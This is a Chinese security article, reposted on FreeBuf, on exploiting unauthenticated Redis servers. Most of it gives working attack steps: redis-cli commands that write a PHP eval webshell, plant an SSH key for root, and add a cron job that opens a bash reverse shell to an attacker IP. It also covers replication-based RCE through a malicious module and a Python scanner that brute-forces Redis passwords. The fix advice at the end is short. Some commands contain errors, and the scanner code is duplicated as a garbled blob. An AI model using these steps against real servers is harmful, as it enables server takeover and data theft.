freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Redis-未授权访问漏洞
2024-04-06 23:09:34

文章源地址:Redis-未授权访问漏洞 – why403

Redis未授权访问漏洞是一个严重的安全问题,它允许未经身份验证的用户访问Redis服务器并执行各种操作,这可能导致数据泄露、数据损坏甚至服务器被恶意控制。以下是关于Redis未授权访问漏洞的详细介绍和利用方法。

影响版本:Redis 4.x/5.x 及以下版本。

原理

Redis是一个开源的键值存储系统,通常用作数据库、缓存和消息代理。在默认情况下,Redis会监听在6379端口上,如果没有设置密码认证(通常为空),那么任何能够访问该端口的用户都可以执行Redis命令,包括读取、写入数据和执行管理操作。

利用

redis-cli -h ip -p prot // 连接redis数据库

写入webshell

条件:对web服务目录具有写权限

redis-cli -h 10.10.10.1 //连接redis
config set dir /var/www/html/ //设置数据库目录
config set dbfilename shell.php //设置数据库文件
set xxx “<?php eval($_GET[‘cmd’]);?>”
save

添加ssh公钥

条件:对/root/.ssh/authorlized_keys文件有写权限

ssh-keygen -t rsa//生成ssh密钥-t指定加密类型

cat rsa.txt.pub | redis-cli -h 10.10.10.1 set xxx //将公钥添加进redis

redis-cli -h 10.10.10.1 config set dir /root/.ssh //设置数据库目录

redis-cli -h 10.10.10.1 config set dbfilename authorlized_keys //设置数据库文件

save //保存

sudo ssh -i ./rsa.txt.pub root@10.10.10.1

添加自动任务执行反弹shell

条件:对计划任务文件有写权限

redis-cli -h 10.10.10.1 //连接redis
config set dir /var/spool/cron/crontabs //设置数据库目录
config set dbfilename root //设置数据库文件
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/8888 0>&1\n\n”
save //保存进数据库文件
添加自动任务后在本地建立监听
nc -lvnp 8888

注意:
前面五个星号分别表示 分 时 天 月 周一般用于具体的定时时间。后面就是执行的命令。
/var/spool/cron/crontabs/root是一个在Unix和类Unix操作系统中用于存储root用户crontab文件的路径2。crontab是一个用于设置周期性被执行的任务的工具,它允许用户安排在特定时间或周期性地执行脚本和命令

这里也可以写入 /etc/crontab文件

利用Redis主从复制GetShell

该方法可以用于任何获取到redis登录权限的GetShell

redis主从复制是什么

Redis 主从复制是 Redis 提供的一种数据备份和分片机制,它允许一个或多个从服务器(slave)复制和同步一个主服务器(master)的数据。这种机制在 Redis 中用于提高数据的可靠性、可用性和可扩展性。

以下是 Redis 主从复制的一些关键特性和用途:

  1. 数据备份:通过主从复制,可以将主服务器的数据复制到一个或多个从服务器上,这样即使主服务器发生故障,从服务器也可以作为备用服务器使用,从而保证数据的安全性。
  2. 读写分离:在主从复制架构中,所有的写操作都在主服务器上执行,而读操作可以在从服务器上进行。这样可以分散读请求,减轻主服务器的压力,提高系统的吞吐量。
  3. 负载均衡:通过在多个从服务器之间分配读请求,可以实现负载均衡,进一步提高系统的处理能力。
  4. 数据分片:在 Redis 集群中,主从复制可以用于数据分片,每个分片可以有一个主节点和多个从节点,这样可以在多个节点之间分散数据,提高数据的可用性和容错能力。
  5. 故障转移:在主服务器发生故障时,从服务器可以接管服务,成为新的主服务器,从而实现故障转移。这通常通过手动或自动的故障转移机制来完成。
  6. 数据同步:从服务器会持续同步主服务器的数据,确保数据的一致性。在主服务器上进行的任何更改都会很快地复制到从服务器上。
  7. 可扩展性:通过增加更多的从服务器,可以水平扩展 Redis 的读能力,从而支持更多的并发用户和更大的数据量。

Redis 主从复制的配置相对简单,通常在 Redis 配置文件中设置 slaveof <master-ip> <master-port>指令即可启动复制过程。

原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。攻击者通过在Redis服务器上执行特定的命令,利用主从复制的机制,使得从服务器加载一个恶意的共享对象(SO文件),从而在从服务器上执行任意代码,包括反弹Shell。

实现步骤

  1. 配置主从复制:攻击者需要配置Redis实例之间的主从复制关系。这通常通过发送SLAVEOF <master-ip> <master-port>命令到从服务器来完成,使从服务器连接到攻击者控制的主服务器。
  2. 上传恶意SO文件:攻击者需要上传一个恶意的SO文件到主服务器。这个文件将包含用于创建反弹Shell的代码。上传可以通过Redis的MODULE LOAD命令完成。
  3. 配置从服务器加载恶意SO文件:攻击者通过发送CONFIG SET module-load命令到从服务器,使其在下一次重新加载配置时执行恶意SO文件。
  4. 触发SO文件执行:攻击者可以通过发送COMMAND命令到从服务器,触发恶意SO文件中的代码执行,从而在从服务器上打开一个反弹Shell。
  5. 建立反向连接:攻击者在主服务器上监听一个端口,等待从服务器通过Redis命令触发的反弹Shell连接到这个端口,从而建立一个反向Shell连接。
  6. 获取Shell访问:一旦反向Shell连接建立,攻击者就可以通过这个Shell访问从服务器,执行任意命令。

一、准备可以执行命令的恶意模块:

RedisModules-ExecuteCommand是一个可以执行命令的redis模块

git clone https://github.com/gysf666/RedisModules-ExecuteCommand.git //下载模块
make //编译模块

二、准备一个服务端向从设备提供恶意模块

我们用一个自动化的工具redis-rce来模拟上述实现步骤

用到的工具

git clone https://github.com/Ridter/redis-rce.git

工具的使用帮助

python redis-rce.py -r 10.10.10.1 -p 6379 -L 10.10.10.128 -P 7777 -f ./module.so // -r 指定目标主机 -p 指定目标端口 -L指定监听主机 -P 指定监听端口

运行之后在redis上设置主设备到攻击机
redis-cli -h 10.10.10.1 -p 6379
slaveof 10.10.10.1 7777

成功获取主机shell

python 自动化检测redis未授权访问漏洞

# 测试弱口令和未授权访问
import socket
import sys
pwdFile='./rockyou.txt'
# host格式10.10.10.1:6379
HOSTFile='./host.txt' 
def check_unAuth(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+]存在未授权访问漏洞"
elif "Authentication" in result:
return u""
except Exception as e:
pass
def check_week(ip,port,timeout):
try:
f=open(pwdFile,'r')
password=f.readline()
while password:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(password))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (password)
password=f.readline()
except Exception as e:
pass
if __name__ == '__main__':
host_f=open(HOSTFile,'r')
host=host_f.readline()
while host:
ip=host.split(":")[0]
port=host.split(":")[1]
if port == '':
port='6379'
print(check_unAuth(ip,port, timeout=10))
print(check_week(ip,port, timeout=10))
host=host_f.readline()#! /usr/bin/env python # _*_ coding:utf-8 _*_ # 测试弱口令和未授权访问 import socket import sys pwdFile='./rockyou.txt' def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授权访问" elif "Authentication" in result: f=open(pwdFile,'r') password=f.readline() while password: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(password)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (password) password=f.readline() except Exception as e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print(check(ip,port, timeout=10))

漏洞修复

为了修复Redis未授权访问漏洞,可以采取以下措施:

  1. 设置密码认证:在Redis配置文件中启用requirepass选项,并设置一个强密码。
  2. 限制访问:修改bind配置,只允许信任的IP地址访问Redis服务。
  3. 使用安全通信:通过SSL/TLS加密Redis客户端和服务器之间的通信。
  4. 监控和日志记录:开启Redis的日志记录功能,监控可疑的访问和操作。
  5. 及时更新:保持Redis版本更新,以修复已知的安全漏洞。

通过上述措施,可以有效地减少Redis未授权访问漏洞的风险,保护服务器和数据的安全。

# Redis未授权访问漏洞 # redis本地主从复制RCE # Redis漏洞总结
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录